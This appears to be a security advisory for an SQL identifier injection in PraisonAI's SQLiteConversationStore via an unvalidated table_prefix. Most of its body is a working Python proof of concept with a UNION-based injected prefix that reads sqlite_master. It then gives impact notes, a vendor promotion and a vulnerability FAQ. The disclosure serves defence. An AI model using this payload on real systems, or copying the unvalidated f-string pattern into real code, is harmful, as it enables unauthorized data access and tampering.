PraisonAI: SQLiteConversationStore didn't validate table_prefix when constructing SQL queries — praisonai
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')Summary
The table_prefix configuration value is directly used to construct SQL table identifiers without validation.
If an attacker controls this value, they can manipulate SQL query structure, leading to unauthorized data access (e.g., reading internal SQLite tables such as sqlite_master) and tampering with query results.
Details
This allows attackers to inject arbitrary SQL fragments into table identifiers, effectively altering query execution.
This occurs because table_prefix is passed from configuration (from_yaml / from_dict) into SQLiteConversationStore and directly concatenated into SQL queries via f-strings:
sessions_table = f"{table_prefix}sessions"
This value is then used in queries such as:
SELECT * FROM {self.sessions_table}
Since SQL identifiers cannot be safely parameterized and are not validated, attacker-controlled input can modify SQL query structure.
The vulnerability originates from configuration input and propagates through the following flow:
-
Source: config.py (
from_yaml/from_dict) accepts external configuration input -
Propagation: factory.py (
create_stores_from_config) passesconversation_optionswithout validation -
Sink: sqlite.py Constructs SQL queries using f-strings with identifiers derived from
table_prefix
As a result, attacker-controlled table_prefix is interpreted as part of the SQL query, enabling injection into table identifiers and altering query semantics.
PoC
1. Exploit Code
The PoC demonstrates that attacker-controlled table_prefix is not treated as a simple prefix but as part of the SQL query, allowing full manipulation of query structure.
#!/usr/bin/env python3
"""
PoC: SQL identifier injection via SQLiteConversationStore.table_prefix
This demonstrates query-structure manipulation when table_prefix is attacker-controlled.
"""
import os
import tempfile
from praisonai.persistence.conversation.sqlite import SQLiteConversationStore
from praisonai.persistence.conversation.base import ConversationSession
def run_poc() -> int:
fd, db_path = tempfile.mkstemp(suffix=".db")
os.close(fd)
try:
print(f"[+] temp db: {db_path}")
# 1) Create normal schema and insert one legitimate session.
normal = SQLiteConversationStore(
path=db_path,
table_prefix="praison_",
auto_create_tables=True,
)
normal.create_session(
ConversationSession(
session_id="legit-session",
user_id="user1",
agent_id="agent1",
name="Legit Session",
state={},
metadata={},
created_at=123.0,
updated_at=123.0,
)
)
normal_rows = normal.list_sessions(limit=10, offset=0)
print(f"[+] normal.list_sessions() count: {len(normal_rows)}")
print(f"[+] normal first session_id: {normal_rows[0].session_id if normal_rows else None}")
# 2) Malicious prefix (UNION-based query structure manipulation)
injected_prefix = (
"praison_sessions WHERE 1=0 "
"UNION SELECT "
"name as session_id, "
"NULL as user_id, "
"NULL as agent_id, "
"NULL as name, "
"NULL as state, "
"NULL as metadata, "
"0 as created_at, "
"0 as updated_at "
"FROM sqlite_master -- "
)
injected = SQLiteConversationStore(
path=db_path,
table_prefix=injected_prefix,
auto_create_tables=False,
)
injected_rows = injected.list_sessions(limit=10, offset=0)
injected_ids = [row.session_id for row in injected_rows]
print(f"[+] injected.list_sessions() count: {len(injected_rows)}")
print(f"[+] injected session_ids (first 10): {injected_ids[:10]}")
suspicious = any(
x in injected_ids
for x in ("sqlite_schema", "sqlite_master", "praison_sessions", "praison_messages")
)
if suspicious or len(injected_rows) > len(normal_rows):
print("[!] PoC succeeded: list_sessions query semantics altered by table_prefix")
return 0
print("[!] PoC inconclusive: no clear injected rows observed")
return 2
finally:
try:
os.remove(db_path)
print("[+] temp db removed")
except OSError:
pass
if __name__ == "__main__":
raise SystemExit(run_poc())
2. Expected Output
The output shows that legitimate data is no longer returned; instead, attacker-controlled results are injected, demonstrating that query semantics have been altered.
3. Impact
- SQL Identifier Injection
- Query result manipulation
- Internal schema disclosure
Exploitable when untrusted input can influence configuration.
Reference
- https://github.com/advisories/GHSA-59g6-v3vg-f7wc
Deep Security Visibility Without the Complexity
SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.
- No setup fees
- 5-min deployment
- Cancel anytime
Frequently Asked Questions
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.